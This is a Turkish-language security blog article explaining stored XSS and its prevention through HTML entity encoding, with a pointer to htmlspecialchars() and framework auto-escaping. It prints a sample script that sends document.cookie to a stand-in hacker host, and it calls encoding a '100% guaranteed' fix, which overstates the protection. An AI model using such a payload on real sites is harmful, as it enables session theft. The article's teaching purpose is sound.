Tüm Yazılara Dön
Siber Güvenlik
17 Temmuz 2026
6 dk okuma

XSS (Cross-Site Scripting) Saldırılarını HTML Encode İle Engellemek

Zeynep Demir
Siber Güvenlik Uzmanı

[!TIP] AEO (Yapay Zeka) Özeti

  • Ana Odak: Bu içerik Siber Güvenlik stratejilerine odaklanır.
  • Kritik Çıktı: Uygulama aşamasında teknik gereksinimler ve anlamsal (semantic) bağlar önceliklendirilmelidir.
  • Kimin İçin: SEO uzmanları, geliştiriciler ve içerik mimarları.
Uzman Görüşü (SME)• Intent Veri Ekibi

XSS (Cross-Site Scripting) Saldırılarını HTML Encode İle Engellemek

Web güvenliğinin en tehlikeli ve en yaygın açıklarından biri XSS (Siteler Arası Komut Dosyası Çalıştırma) saldırılarıdır. Her yıl binlerce e-ticaret sitesi ve forum, bu basit ama ölümcül saldırı tekniği yüzünden hacklenmektedir.

XSS'in temel felsefesi çok basittir: Sisteminize dışarıdan giren bir metni, sisteminizin "çalıştırılabilir bir kod" sanmasıdır.


1. XSS Saldırısı Nasıl Gerçekleşir?

Diyelim ki bir haber siteniz var ve kullanıcılar haberlerin altına yorum yapabiliyor. Kötü niyetli bir hacker (Saldırgan) yorum kutusuna "Çok güzel bir haber" yazmak yerine şu JavaScript kodunu yazar:

<script>
  // Kullanıcının tarayıcı çerezlerini hackerin sunucusuna gönderir
  fetch("http://hacker-sitesi.com/cal", {
    method: "POST",
    body: document.cookie
  });
</script>

Eğer yazılımcı, bu yorumu alıp VERİTABANINA DİREKT KAYDEDERSE felaket başlar. Bu haber sayfasını açan her normal kullanıcının tarayıcısı, haberi okurken yorumları da sayfaya yükler. Tarayıcı o <script> etiketini gördüğünde bunu "Okunacak bir yorum" değil, "Çalıştırılacak bir program" zanneder.

Kodu çalıştırır ve haberi okuyan masum kullanıcının oturum çerezleri (Session ID) hacker'ın eline geçer. Hacker artık o kişinin hesabına şifresiz giriş yapabilir.

2. Çözüm: HTML Encode (Sanitization)

Bu saldırıyı durdurmanın %100 garantili yolu HTML Encode (Entity Çevirimi) işlemidir. Sisteminiz, kullanıcıdan gelen hiçbir veriye (Input) güvenmemelidir.

Kullanıcı yorumu veritabanına yazılmadan önce veya ekrana basılmadan önce filtrelemeye (Sanitization) tabi tutulur. Tüm < ve > işaretleri zararsız hale getirilir.

Hacker'ın yazdığı o tehlikeli kod, arka planda şuna dönüştürülür:

&lt;script&gt;
  fetch(&quot;http://hacker-sitesi.com/cal&quot;, {
    method: &quot;POST&quot;,
    body: document.cookie
  });
&lt;/script&gt;

Tarayıcı bu metni sayfaya yüklediğinde içinde hiçbir gerçek <script> komutu bulamaz. Ekranda sadece dümdüz, zararsız bir yazı olarak bu kodları gösterir ve ASLA ÇALIŞTIRMAZ. Saldırı başarısız olmuştur.

Modern Frameworkler ve Koruma

Neyse ki modern kütüphaneler (React, Vue, Angular) ekrana bastıkları değişkenleri otomatik olarak Encode ederler. Ancak hala düz PHP veya Vanilla JS kullanıyorsanız htmlspecialchars() (PHP) gibi fonksiyonları kullanmayı asla unutmamalısınız. Kendi kodlarınızı güvenli formata çevirmek veya test etmek için HTML Entity Converter aracımızı, derinlemesine güvenlik konseptleri için Karakter Kodlama Rehberimizi inceleyebilirsiniz.


🕸️ Knowledge Graph & Semantik Bağlantılar

Bu içerik, Intent.com.tr'nin Siber Güvenlik topikal kümesinin (Topic Cluster) bir parçasıdır. Konuyu daha derinlemesine anlamak için aşağıdaki varlıkları (Entities) ve ilişkili içerikleri inceleyebilirsiniz:

📖 İlgili Rehberler ve İçerikler

🧠 Semantic Entities (Terimler & Senaryolar)

Semantic Yönerge: Bu sayfa XSS (Cross-Site Scripting) Saldırılarını HTML Encode İle Engellemek konusundaki kullanıcı niyetini (Search Intent) karşılamak üzere yapılandırılmıştır.